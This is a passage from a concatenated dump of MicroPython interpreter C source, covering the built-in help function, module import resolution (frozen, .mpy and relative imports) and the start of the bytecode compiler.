= mp_print_str(MP_PYTHON_PRINTER, mp_obj_str_get_str(items[j])); j += num_rows; if (j >= len) { break; } int gap = COLUMN_WIDTH - l; while (gap < 1) { gap += COLUMN_WIDTH; } while (gap--) { mp_print_str(MP_PYTHON_PRINTER, " "); } } mp_print_str(MP_PYTHON_PRINTER, "\n"); } // let the user know there may be other modules available from the filesystem mp_print_str(MP_PYTHON_PRINTER, "Plus any modules on the filesystem\n"); } #endif STATIC void mp_help_print_obj(mp_obj_t obj) { #if MICROPY_PY_BUILTINS_HELP_MODULES if (obj == MP_OBJ_NEW_QSTR(MP_QSTR_modules)) { mp_help_print_modules(); return; } #endif // Extract method from bound method, for better error messages if (mp_obj_get_type(obj)->name == MP_QSTR_bound_method) { obj = ((mp_obj_t*)obj)[1]; // extract method } // Hook into platform-specific help for this object extern bool mp_plat_specific_help(mp_obj_t obj); if (mp_plat_specific_help(obj)) { return; } // try to print something sensible about the given object mp_print_str(MP_PYTHON_PRINTER, "object "); mp_obj_print(obj, PRINT_STR); mp_printf(MP_PYTHON_PRINTER, " is of type %s\n", mp_obj_get_type_str(obj)); mp_map_t *map = NULL; if (MP_OBJ_IS_TYPE(obj, &mp_type_module)) { map = mp_obj_dict_get_map(mp_obj_module_get_globals(obj)); } else { mp_obj_type_t *type; if (MP_OBJ_IS_TYPE(obj, &mp_type_type)) { type = obj; } else { type = mp_obj_get_type(obj); } if (type->locals_dict != MP_OBJ_NULL && MP_OBJ_IS_TYPE(type->locals_dict, &mp_type_dict)) { map = mp_obj_dict_get_map(type->locals_dict); } } if (map != NULL) { for (uint i = 0; i < map->alloc; i++) { if (map->table[i].key != MP_OBJ_NULL) { mp_help_print_info_about_object(map->table[i].key, map->table[i].value); } } } } STATIC mp_obj_t mp_builtin_help(size_t n_args, const mp_obj_t *args) { if (n_args == 0) { // print a general help message mp_print_str(MP_PYTHON_PRINTER, MICROPY_PY_BUILTINS_HELP_TEXT); } else { // try to print something sensible about the given object mp_help_print_obj(args[0]); } return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_help_obj, 0, 1, mp_builtin_help); #endif // MICROPY_PY_BUILTINS_HELP ================================================ FILE: micropython/source/py/builtinimport.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * Copyright (c) 2014 Paul Sokolovsky * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include "py/nlr.h" #include "py/compile.h" #include "py/objmodule.h" #include "py/persistentcode.h" #include "py/runtime.h" #include "py/builtin.h" #include "py/frozenmod.h" #if MICROPY_DEBUG_VERBOSE // print debugging info #define DEBUG_PRINT (1) #define DEBUG_printf DEBUG_printf #else // don't print debugging info #define DEBUG_PRINT (0) #define DEBUG_printf(...) (void)0 #endif #define PATH_SEP_CHAR '/' bool mp_obj_is_package(mp_obj_t module) { mp_obj_t dest[2]; mp_load_method_maybe(module, MP_QSTR___path__, dest); return dest[0] != MP_OBJ_NULL; } // Stat either frozen or normal module by a given path // (whatever is available, if at all). STATIC mp_import_stat_t mp_import_stat_any(const char *path) { #if MICROPY_MODULE_FROZEN mp_import_stat_t st = mp_frozen_stat(path); if (st != MP_IMPORT_STAT_NO_EXIST) { return st; } #endif return mp_import_stat(path); } STATIC mp_import_stat_t stat_file_py_or_mpy(vstr_t *path) { mp_import_stat_t stat = mp_import_stat_any(vstr_null_terminated_str(path)); if (stat == MP_IMPORT_STAT_FILE) { return stat; } #if MICROPY_PERSISTENT_CODE_LOAD vstr_ins_byte(path, path->len - 2, 'm'); stat = mp_import_stat_any(vstr_null_terminated_str(path)); if (stat == MP_IMPORT_STAT_FILE) { return stat; } #endif return MP_IMPORT_STAT_NO_EXIST; } STATIC mp_import_stat_t stat_dir_or_file(vstr_t *path) { mp_import_stat_t stat = mp_import_stat_any(vstr_null_terminated_str(path)); DEBUG_printf("stat %s: %d\n", vstr_str(path), stat); if (stat == MP_IMPORT_STAT_DIR) { return stat; } // not a directory, add .py and try as a file vstr_add_str(path, ".py"); return stat_file_py_or_mpy(path); } STATIC mp_import_stat_t find_file(const char *file_str, uint file_len, vstr_t *dest) { #if MICROPY_PY_SYS // extract the list of paths size_t path_num = 0; mp_obj_t *path_items = NULL; if (path_num == 0) { #endif // mp_sys_path is empty, so just use the given file name vstr_add_strn(dest, file_str, file_len); return stat_dir_or_file(dest); #if MICROPY_PY_SYS } else { // go through each path looking for a directory or file for (size_t i = 0; i < path_num; i++) { vstr_reset(dest); size_t p_len; const char *p = mp_obj_str_get_data(path_items[i], &p_len); if (p_len > 0) { vstr_add_strn(dest, p, p_len); vstr_add_char(dest, PATH_SEP_CHAR); } vstr_add_strn(dest, file_str, file_len); mp_import_stat_t stat = stat_dir_or_file(dest); if (stat != MP_IMPORT_STAT_NO_EXIST) { return stat; } } // could not find a directory or file return MP_IMPORT_STAT_NO_EXIST; } #endif } #if MICROPY_ENABLE_COMPILER STATIC void do_load_from_lexer(mp_obj_t module_obj, mp_lexer_t *lex) { #if MICROPY_PY___FILE__ qstr source_name = lex->source_name; mp_store_attr(module_obj, MP_QSTR___file__, MP_OBJ_NEW_QSTR(source_name)); #endif // parse, compile and execute the module in its context mp_obj_dict_t *mod_globals = mp_obj_module_get_globals(module_obj); mp_parse_compile_execute(lex, MP_PARSE_FILE_INPUT, mod_globals, mod_globals); } #endif #if MICROPY_PERSISTENT_CODE_LOAD || MICROPY_MODULE_FROZEN_MPY STATIC void do_execute_raw_code(mp_obj_t module_obj, mp_raw_code_t *raw_code) { #if MICROPY_PY___FILE__ // TODO //qstr source_name = lex->source_name; //mp_store_attr(module_obj, MP_QSTR___file__, MP_OBJ_NEW_QSTR(source_name)); #endif // execute the module in its context mp_obj_dict_t *mod_globals = mp_obj_module_get_globals(module_obj); // save context mp_obj_dict_t *volatile old_globals = mp_globals_get(); mp_obj_dict_t *volatile old_locals = mp_locals_get(); // set new context mp_globals_set(mod_globals); mp_locals_set(mod_globals); nlr_buf_t nlr; if (nlr_push(&nlr) == 0) { mp_obj_t module_fun = mp_make_function_from_raw_code(raw_code, MP_OBJ_NULL, MP_OBJ_NULL); mp_call_function_0(module_fun); // finish nlr block, restore context nlr_pop(); mp_globals_set(old_globals); mp_locals_set(old_locals); } else { // exception; restore context and re-raise same exception mp_globals_set(old_globals); mp_locals_set(old_locals); nlr_jump(nlr.ret_val); } } #endif STATIC void do_load(mp_obj_t module_obj, vstr_t *file) { #if MICROPY_MODULE_FROZEN || MICROPY_PERSISTENT_CODE_LOAD || MICROPY_ENABLE_COMPILER char *file_str = vstr_null_terminated_str(file); #endif // If we support frozen modules (either as str or mpy) then try to find the // requested filename in the list of frozen module filenames. #if MICROPY_MODULE_FROZEN void *modref; int frozen_type = mp_find_frozen_module(file_str, file->len, &modref); #endif // If we support frozen str modules and the compiler is enabled, and we // found the filename in the list of frozen files, then load and execute it. #if MICROPY_MODULE_FROZEN_STR if (frozen_type == MP_FROZEN_STR) { do_load_from_lexer(module_obj, modref); return; } #endif // If we support frozen mpy modules and we found a corresponding file (and // its data) in the list of frozen files, execute it. #if MICROPY_MODULE_FROZEN_MPY if (frozen_type == MP_FROZEN_MPY) { do_execute_raw_code(module_obj, modref); return; } #endif // If we support loading .mpy files then check if the file extension is of // the correct format and, if so, load and execute the file. #if MICROPY_PERSISTENT_CODE_LOAD if (file_str[file->len - 3] == 'm') { mp_raw_code_t *raw_code = mp_raw_code_load_file(file_str); do_execute_raw_code(module_obj, raw_code); return; } #endif // If we can compile scripts then load the file and compile and execute it. #if MICROPY_ENABLE_COMPILER { mp_lexer_t *lex = mp_lexer_new_from_file(file_str); do_load_from_lexer(module_obj, lex); return; } #else // If we get here then the file was not frozen and we can't compile scripts. mp_raise_msg(&mp_type_ImportError, "script compilation not supported"); #endif } STATIC void chop_component(const char *start, const char **end) { const char *p = *end; while (p > start) { if (*--p == '.') { *end = p; return; } } *end = p; } mp_obj_t mp_builtin___import__(size_t n_args, const mp_obj_t *args) { #if DEBUG_PRINT DEBUG_printf("__import__:\n"); for (size_t i = 0; i < n_args; i++) { DEBUG_printf(" "); mp_obj_print(args[i], PRINT_REPR); DEBUG_printf("\n"); } #endif mp_obj_t module_name = args[0]; mp_obj_t fromtuple = mp_const_none; mp_int_t level = 0; if (n_args >= 4) { fromtuple = args[3]; if (n_args >= 5) { level = MP_OBJ_SMALL_INT_VALUE(args[4]); if (level < 0) { mp_raise_ValueError(NULL); } } } size_t mod_len; const char *mod_str = mp_obj_str_get_data(module_name, &mod_len); if (level != 0) { // What we want to do here is to take name of current module, // chop trailing components, and concatenate with passed-in // module name, thus resolving relative import name into absolute. // This even appears to be correct per // http://legacy.python.org/dev/peps/pep-0328/#relative-imports-and-name // "Relative imports use a module's __name__ attribute to determine that // module's position in the package hierarchy." level--; mp_obj_t this_name_q = mp_obj_dict_get(MP_OBJ_FROM_PTR(mp_globals_get()), MP_OBJ_NEW_QSTR(MP_QSTR___name__)); assert(this_name_q != MP_OBJ_NULL); #if MICROPY_CPYTHON_COMPAT if (MP_OBJ_QSTR_VALUE(this_name_q) == MP_QSTR___main__) { // This is a module run by -m command-line switch, get its real name from backup attribute this_name_q = mp_obj_dict_get(MP_OBJ_FROM_PTR(mp_globals_get()), MP_OBJ_NEW_QSTR(MP_QSTR___main__)); } #endif mp_map_t *globals_map = &mp_globals_get()->map; mp_map_elem_t *elem = mp_map_lookup(globals_map, MP_OBJ_NEW_QSTR(MP_QSTR___path__), MP_MAP_LOOKUP); bool is_pkg = (elem != NULL); #if DEBUG_PRINT DEBUG_printf("Current module/package: "); mp_obj_print(this_name_q, PRINT_REPR); DEBUG_printf(", is_package: %d", is_pkg); DEBUG_printf("\n"); #endif size_t this_name_l; const char *this_name = mp_obj_str_get_data(this_name_q, &this_name_l); const char *p = this_name + this_name_l; if (!is_pkg) { // We have module, but relative imports are anchored at package, so // go there. chop_component(this_name, &p); } while (level--) { chop_component(this_name, &p); } // We must have some component left over to import from if (p == this_name) { mp_raise_ValueError("cannot perform relative import"); } uint new_mod_l = (mod_len == 0 ? (size_t)(p - this_name) : (size_t)(p - this_name) + 1 + mod_len); char *new_mod = alloca(new_mod_l); memcpy(new_mod, this_name, p - this_name); if (mod_len != 0) { new_mod[p - this_name] = '.'; memcpy(new_mod + (p - this_name) + 1, mod_str, mod_len); } qstr new_mod_q = qstr_from_strn(new_mod, new_mod_l); DEBUG_printf("Resolved base name for relative import: '%s'\n", qstr_str(new_mod_q)); module_name = MP_OBJ_NEW_QSTR(new_mod_q); mod_str = new_mod; mod_len = new_mod_l; } // check if module already exists qstr module_name_qstr = mp_obj_str_get_qstr(module_name); mp_obj_t module_obj = mp_module_get(module_name_qstr); if (module_obj != MP_OBJ_NULL) { DEBUG_printf("Module already loaded\n"); // If it's not a package, return module right away char *p = strchr(mod_str, '.'); if (p == NULL) { return module_obj; } // If fromlist is not empty, return leaf module if (fromtuple != mp_const_none) { return module_obj; } // Otherwise, we need to return top-level package qstr pkg_name = qstr_from_strn(mod_str, p - mod_str); return mp_module_get(pkg_name); } DEBUG_printf("Module not yet loaded\n"); uint last = 0; VSTR_FIXED(path, MICROPY_ALLOC_PATH_MAX) module_obj = MP_OBJ_NULL; mp_obj_t top_module_obj = MP_OBJ_NULL; mp_obj_t outer_module_obj = MP_OBJ_NULL; uint i; for (i = 1; i <= mod_len; i++) { if (i == mod_len || mod_str[i] == '.') { // create a qstr for the module name up to this depth qstr mod_name = qstr_from_strn(mod_str, i); DEBUG_printf("Processing module: %s\n", qstr_str(mod_name)); DEBUG_printf("Previous path: =%.*s=\n", vstr_len(&path), vstr_str(&path)); // find the file corresponding to the module name mp_import_stat_t stat; if (vstr_len(&path) == 0) { // first module in the dotted-name; search for a directory or file stat = find_file(mod_str, i, &path); } else { // latter module in the dotted-name; append to path vstr_add_char(&path, PATH_SEP_CHAR); vstr_add_strn(&path, mod_str + last, i - last); stat = stat_dir_or_file(&path); } DEBUG_printf("Current path: %.*s\n", vstr_len(&path), vstr_str(&path)); if (stat == MP_IMPORT_STAT_NO_EXIST) { #if MICROPY_MODULE_WEAK_LINKS // check if there is a weak link to this module if (i == mod_len) { mp_map_elem_t *el = mp_map_lookup((mp_map_t*)&mp_builtin_module_weak_links_map, MP_OBJ_NEW_QSTR(mod_name), MP_MAP_LOOKUP); if (el == NULL) { goto no_exist; } // found weak linked module module_obj = el->value; } else { no_exist: #else { #endif // couldn't find the file, so fail if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_raise_msg(&mp_type_ImportError, "module not found"); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_ImportError, "no module named '%q'", mod_name)); } } } else { // found the file, so get the module module_obj = mp_module_get(mod_name); } if (module_obj == MP_OBJ_NULL) { // module not already loaded, so load it! module_obj = mp_obj_new_module(mod_name); // if args[3] (fromtuple) has magic value False, set up // this module for command-line "-m" option (set module's // name to __main__ instead of real name). Do this only // for *modules* however - packages never have their names // replaced, instead they're -m'ed using a special __main__ // submodule in them. (This all apparently is done to not // touch package name itself, which is important for future // imports). if (i == mod_len && fromtuple == mp_const_false && stat != MP_IMPORT_STAT_DIR) { mp_obj_module_t *o = MP_OBJ_TO_PTR(module_obj); mp_obj_dict_store(MP_OBJ_FROM_PTR(o->globals), MP_OBJ_NEW_QSTR(MP_QSTR___name__), MP_OBJ_NEW_QSTR(MP_QSTR___main__)); #if MICROPY_CPYTHON_COMPAT // Store module as "__main__" in the dictionary of loaded modules (returned by sys.modules). mp_obj_dict_store(MP_OBJ_FROM_PTR(&MP_STATE_VM(mp_loaded_modules_dict)), MP_OBJ_NEW_QSTR(MP_QSTR___main__), module_obj); // Store real name in "__main__" attribute. Chosen semi-randonly, to reuse existing qstr's. mp_obj_dict_store(MP_OBJ_FROM_PTR(o->globals), MP_OBJ_NEW_QSTR(MP_QSTR___main__), MP_OBJ_NEW_QSTR(mod_name)); #endif } if (stat == MP_IMPORT_STAT_DIR) { DEBUG_printf("%.*s is dir\n", vstr_len(&path), vstr_str(&path)); // https://docs.python.org/3/reference/import.html // "Specifically, any module that contains a __path__ attribute is considered a package." mp_store_attr(module_obj, MP_QSTR___path__, mp_obj_new_str(vstr_str(&path), vstr_len(&path), false)); size_t orig_path_len = path.len; vstr_add_char(&path, PATH_SEP_CHAR); vstr_add_str(&path, "__init__.py"); if (stat_file_py_or_mpy(&path) != MP_IMPORT_STAT_FILE) { //mp_warning("%s is imported as namespace package", vstr_str(&path)); } else { do_load(module_obj, &path); } path.len = orig_path_len; } else { // MP_IMPORT_STAT_FILE do_load(module_obj, &path); // This should be the last component in the import path. If there are // remaining components then it's an ImportError because the current path // (the module that was just loaded) is not a package. This will be caught // on the next iteration because the file will not exist. } } if (outer_module_obj != MP_OBJ_NULL) { qstr s = qstr_from_strn(mod_str + last, i - last); mp_store_attr(outer_module_obj, s, module_obj); } outer_module_obj = module_obj; if (top_module_obj == MP_OBJ_NULL) { top_module_obj = module_obj; } last = i + 1; } } // If fromlist is not empty, return leaf module if (fromtuple != mp_const_none) { return module_obj; } // Otherwise, we need to return top-level package return top_module_obj; } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin___import___obj, 1, 5, mp_builtin___import__); ================================================ FILE: micropython/source/py/compile.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013-2015 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include #include #include "py/scope.h" #include "py/emit.h" #include "py/compile.h" #include "py/runtime.h" #include "py/asmbase.h" #if MICROPY_ENABLE_COMPILER && !MICROPY_USE_SMALL_HEAP_COMPILER // TODO need to mangle __attr names #define INVALID_LABEL (0xffff) typedef enum { // define rules with a compile function #define DEF_RULE(rule, comp, kind, ...) PN_##rule, #define DEF_RULE_NC(rule, kind, ...) #include "py/grammar.h" #undef DEF_RULE #undef DEF_RULE_NC PN_const_object, // special node for a constant, generic Python object // define rules without a compile function #define DEF_RULE(rule, comp, kind, ...) #define DEF_RULE_NC(rule, kind, ...) PN_##rule, #include "py/grammar.h" #undef DEF_RULE #undef DEF_RULE_NC } pn_kind_t; #define NEED_METHOD_TABLE MICROPY_EMIT_NATIVE #if NEED_METHOD_TABLE // we need a method table to do the lookup for the emitter functions #define EMIT(fun) (comp->emit_method_table->fun(comp->emit)) #define EMIT_ARG(fun, ...) (comp->emit_method_table->fun(comp->emit, __VA_ARGS__)) #define EMIT_LOAD_FAST(qst, local_num) (comp->emit_method_table->load_id.fast(comp->emit, qst, local_num)) #define EMIT_LOAD_GLOBAL(qst) (comp->emit_method_table->load_id.global(comp->emit, qst)) #else // if we only have the bytecode emitter enabled then we can do a direct call to the functions #define EMIT(fun) (mp_emit_bc_##fun(comp->emit)) #define EMIT_ARG(fun, ...) (mp_emit_bc_##fun(comp->emit, __VA_ARGS__)) #define EMIT_LOAD_FAST(qst, local_num) (mp_emit_bc_load_fast(comp->emit, qst, local_num)) #define EMIT_LOAD_GLOBAL(qst) (mp_emit_bc_load_global(comp->emit, qst)) #endif #if MICROPY_EMIT_NATIVE // define a macro to access external native emitter #if MICROPY_EMIT_X64 #define NATIVE_EMITTER(f) emit_native_x64_##f #elif MICROPY_EMIT_X86 #define NATIVE_EMITTER(f) emit_native_x86_##f #elif MICROPY_EMIT_THUMB #define NATIVE_EMITTER(f) emit_native_thumb_##f #elif MICROPY_EMIT_ARM #define NATIVE_EMITTER(f) emit_native_arm_##f #elif MICROPY_EMIT_XTENSA #define NATIVE_EMITTER(f) emit_native_xtensa_##f #else #error "unknown native emitter" #endif #endif #if MICROPY_EMIT_INLINE_ASM // define macros for inline assembler #if MICROPY_EMIT_INLINE_THUMB #define ASM_DECORATOR_QSTR MP_QSTR_asm_thumb #define ASM_EMITTER(f) emit_inline_thumb_##f #elif MICROPY_EMIT_INLINE_XTENSA #define ASM_DECORATOR_QSTR MP_QSTR_asm_xtensa #define ASM_EMITTER(f) emit_inline_xtensa_##f #else #error "unknown asm emitter" #endif #endif #define EMIT_INLINE_ASM(fun) (comp->emit_inline_asm_method_table->fun(comp->emit_inline_asm)) #define EMIT_INLINE_ASM_ARG(fun, ...) (comp->emit_inline_asm_method_table->fun(comp->emit_inline_asm, __VA_ARGS__)) // elements in this struct are ordered to make it compact typedef struct _compiler_t { qstr source_file; uint8_t is_repl; uint8_t pass; // holds enum type pass_kind_t uint8_t have_star; // try to keep compiler clean from nlr mp_obj_t compile_error; // set to an exception object if there's an error size_t compile_error_line; // set to best guess of line of error uint next_label; uint16_t num_dict_params; uint16_t num_default_params; uint16_t break_label; // highest bit set indicates we are breaking out of a for loop uint16_t continue_label; uint16_t cur_except_level; // increased for SETUP_EXCEPT, SETUP_FINALLY; decreased for POP_BLOCK, POP_EXCEPT uint16_t break_continue_except_level; scope_t *scope_head; scope_t *scope_cur; emit_t *emit; // current emitter #if NEED_METHOD_TABLE const emit_method_table_t *emit_method_table; // current emit method table #endif #if MICROPY_EMIT_INLINE_ASM emit_inline_asm_t *emit_inline_asm; // current emitter for inline asm const emit_inline_asm_method_table_t *emit_inline_asm_method_table; // current emit method table for inline asm #endif } compiler_t; STATIC void compile_error_set_line(compiler_t *comp, mp_parse_node_t pn) { // if the line of the error is unknown then try to update it from the pn if (comp->compile_error_line == 0 && MP_PARSE_NODE_IS_STRUCT(pn)) { comp->compile_error_line = ((mp_parse_node_struct_t*)pn)->source_line; } } STATIC void compile_syntax_error(compiler_t *comp, mp_parse_node_t pn, const char *msg) { // only register the error if there has been no other error if (comp->compile_error == MP_OBJ_NULL) { comp->compile_error = mp_obj_new_exception_msg(&mp_type_SyntaxError, msg); compile_error_set_line(comp, pn); } } STATIC void compile_trailer_paren_helper(compiler_t *comp, mp_parse_node_t pn_arglist, bool is_method_call, int n_positional_extra); STATIC void compile_comprehension(compiler_t *comp, mp_parse_node_struct_t *pns, scope_kind_t kind); STATIC void compile_node(compiler_t *comp, mp_parse_node_t pn); STATIC uint comp_next_label(compiler_t *comp) { return comp->next_label++; } STATIC void compile_increase_except_level(compiler_t *comp) { comp->cur_except_level += 1; if (comp->cur_except_level > comp->scope_cur->exc_stack_size) { comp->scope_cur->exc_stack_size = comp->cur_except_level; } } STATIC void compile_decrease_except_level(compiler_t *comp) { assert(comp->cur_except_level > 0); comp->cur_except_level -= 1; } STATIC scope_t *scope_new_and_link(compiler_t *comp, scope_kind_t kind, mp_parse_node_t pn, uint emit_options) { scope_t *scope = scope_new(kind, pn, comp->source_file, emit_options); scope->parent = comp->scope_cur; scope->next = NULL; if (comp->scope_head == NULL) { comp->scope_head = scope; } else { scope_t *s = comp->scope_head; while (s->next != NULL) { s = s->next; } s->next = scope; } return scope; } typedef void (*apply_list_fun_t)(compiler_t *comp, mp_parse_node_t pn); STATIC void apply_to_single_or_list(compiler_t *comp, mp_parse_node_t pn, pn_kind_t pn_list_kind, apply_list_fun_t f) { if (MP_PARSE_NODE_IS_STRUCT_KIND(pn, pn_list_kind)) { mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn; int num_nodes = MP_PARSE_NODE_STRUCT_NUM_NODES(pns); for (int i = 0; i < num_nodes; i++) { f(comp, pns->nodes[i]); } } else if (!MP_PARSE_NODE_IS_NULL(pn)) { f(comp, pn); } } STATIC void compile_generic_all_nodes(compiler_t *comp, mp_parse_node_struct_t *pns) { int num_nodes = MP_PARSE_NODE_STRUCT_NUM_NODES(pns); for (int i = 0; i < num_nodes; i++) { compile_node(comp, pns->nodes[i]); if (comp->compile_error != MP_OBJ_NULL) { // add line info for the error in case it didn't have a line number compile_error_set_line(comp, pns->nodes[i]); return; } } } STATIC void compile_load_id(compiler_t *comp, qstr qst) { if (comp->pass == MP_PASS_SCOPE) { mp_emit_common_get_id_for_load(comp->scope_cur, qst); } else { #if NEED_METHOD_TABLE mp_emit_common_id_op(comp->emit, &comp->emit_method_table->load_id, comp->scope_cur, qst); #else mp_emit_common_id_op(comp->emit, &mp_emit_bc_method_table_load_id_ops, comp->scope_cur, qst); #endif } } STATIC void compile_store_id(compiler_t *comp, qstr qst) { if (comp->pass == MP_PASS_SCOPE) { mp_emit_common_get_id_for_modification(comp->scope_cur, qst); } else { #if NEED_METHOD_TABLE mp_emit_common_id_op(comp->emit, &comp->emit_method_table->store_id, comp->scope_cur, qst); #else mp_emit_common_id_op(comp->emit, &mp_emit_bc_method_table_store_id_ops, comp->scope_cur, qst); #endif } } STATIC void compile_delete_id(compiler_t *comp, qstr qst) { if (comp->pass == MP_PASS_SCOPE) { mp_emit_common_get_id_for_modification(comp->scope_cur, qst); } else { #if NEED_METHOD_TABLE mp_emit_common_id_op(comp->emit, &comp->emit_method_table->delete_id, comp->scope_cur, qst); #else mp_emit_common_id_op(comp->emit, &mp_emit_bc_method_table_delete_id_ops, comp->scope_cur, qst); #endif } } STATIC void c_tuple(compiler_t *comp, mp_parse_node_t pn, mp_parse_node_struct_t *pns_list) { int total = 0; if (!MP_PARSE_NODE_IS_NULL(pn)) { compile_node(comp, pn); total += 1; } if (pns_list != NULL) { int n = MP_PARSE_NODE_STRUCT_NUM_NODES(pns_list); for (int i = 0; i < n; i++) { compile_node(comp, pns_list->nodes[i]); } total += n; } EMIT_ARG(build_tuple, total); } STATIC void compile_generic_tuple(compiler_t *comp, mp_parse_node_struct_t *pns) { // a simple tuple expression c_tuple(comp, MP_PARSE_NODE_NULL, pns); } STATIC void c_if_cond(compiler_t *comp, mp_parse_node_t pn, bool jump_if, int label) { if (mp_parse_node_is_const_false(pn)) { if (jump_if == false) { EMIT_ARG(jump, label); } return; } else if (mp_parse_node_is_const_true(pn)) { if (jump_if == true) { EMIT_ARG(jump, label); } return; } else if (MP_PARSE_NODE_IS_STRUCT(pn)) { mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn; int n = MP_PARSE_NODE_STRUCT_NUM_NODES(pns); if (MP_PARSE_NODE_STRUCT_KIND(pns) == PN_or_test) { if (jump_if == false) { and_or_logic1:; uint label2 = comp_next_label(comp); for (int i = 0; i < n - 1; i++) { c_if_cond(comp, pns->nodes[i], !jump_if, label2); } c_if_cond(comp, pns->nodes[n - 1], jump_if, label); EMIT_ARG(label_assign, label2); } else { and_or_logic2: for (int i = 0; i < n; i++) { c_if_cond(comp, pns->nodes[i], jump_if, label); } } return; } else if (MP_PARSE_NODE_STRUCT_KIND(pns) == PN_and_test) { if (jump_if == false) { goto and_or_logic2; } else { goto and_or_logic1; } } else if (MP_PARSE_NODE_STRUCT_KIND(pns) == PN_not_test_2) { c_if_cond(comp, pns->nodes[0], !jump_if, label); return; } else if (MP_PARSE_NODE_STRUCT_KIND(pns) == PN_atom_paren) { // cond is something in parenthesis if (MP_PARSE_NODE_IS_NULL(pns->nodes[0])) { // empty tuple, acts as false for the condition if (jump_if == false) { EMIT_ARG(jump, label); } } else { assert(MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_testlist_comp)); // non-empty tuple, acts as true for the condition if (jump_if == true) { EMIT_ARG(jump, label); } } return; } } // nothing special, fall back to default compiling for node and jump compile_node(comp, pn); EMIT_ARG(pop_jump_if, jump_if, label); } typedef enum { ASSIGN_STORE, ASSIGN_AUG_LOAD, ASSIGN_AUG_STORE } assign_kind_t; STATIC void c_assign(compiler_t *comp, mp_parse_node_t pn, assign_kind_t kind); STATIC void c_assign_atom_expr(compiler_t *comp, mp_parse_node_struct_t *pns, assign_kind_t assign_kind) { if (assign_kind != ASSIGN_AUG_STORE) { compile_node(comp, pns->nodes[0]); } if (MP_PARSE_NODE_IS_STRUCT(pns->nodes[1])) { mp_parse_node_struct_t *pns1 = (mp_parse_node_struct_t*)pns->nodes[1]; if (MP_PARSE_NODE_STRUCT_KIND(pns1) == PN_atom_expr_trailers) { int n = MP_PARSE_NODE_STRUCT_NUM_NODES(pns1); if (assign_kind != ASSIGN_AUG_STORE) { for (int i = 0; i < n - 1; i++) { compile_node(comp, pns1->nodes[i]); } } assert(MP_PARSE_NODE_IS_STRUCT(pns1->nodes[n - 1])); pns1 = (mp_parse_node_struct_t*)pns1->nodes[n - 1]; } if (MP_PARSE_NODE_STRUCT_KIND(pns1) == PN_trailer_bracket) { if (assign_kind == ASSIGN_AUG_STORE) { EMIT(rot_three); EMIT(store_subscr); } else { compile_node(comp, pns1->nodes[0]); if (assign_kind == ASSIGN_AUG_LOAD) { EMIT(dup_top_two); EMIT(load_subscr); } else { EMIT(store_subscr); } } } else if (MP_PARSE_NODE_STRUCT_KIND(pns1) == PN_trailer_period) { assert(MP_PARSE_NODE_IS_ID(pns1->nodes[0])); if (assign_kind == ASSIGN_AUG_LOAD) { EMIT(dup_top); EMIT_ARG(load_attr, MP_PARSE_NODE_LEAF_ARG(pns1->nodes[0])); } else { if (assign_kind == ASSIGN_AUG_STORE) { EMIT(rot_two); } EMIT_ARG(store_attr, MP_PARSE_NODE_LEAF_ARG(pns1->nodes[0])); } } else { goto cannot_assign; } } else { goto cannot_assign; } return; cannot_assign: compile_syntax_error(comp, (mp_parse_node_t)pns, "can't assign to expression"); } // we need to allow for a caller passing in 1 initial node (node_head) followed by an array of nodes (nodes_tail) STATIC void c_assign_tuple(compiler_t *comp, mp_parse_node_t node_head, uint num_tail, mp_parse_node_t *nodes_tail) { uint num_head = (node_head == MP_PARSE_NODE_NULL) ? 0 : 1; // look for star expression uint have_star_index = -1; if (num_head != 0 && MP_PARSE_NODE_IS_STRUCT_KIND(node_head, PN_star_expr)) { EMIT_ARG(unpack_ex, 0, num_tail); have_star_index = 0; } for (uint i = 0; i < num_tail; i++) { if (MP_PARSE_NODE_IS_STRUCT_KIND(nodes_tail[i], PN_star_expr)) { if (have_star_index == (uint)-1) { EMIT_ARG(unpack_ex, num_head + i, num_tail - i - 1); have_star_index = num_head + i; } else { compile_syntax_error(comp, nodes_tail[i], 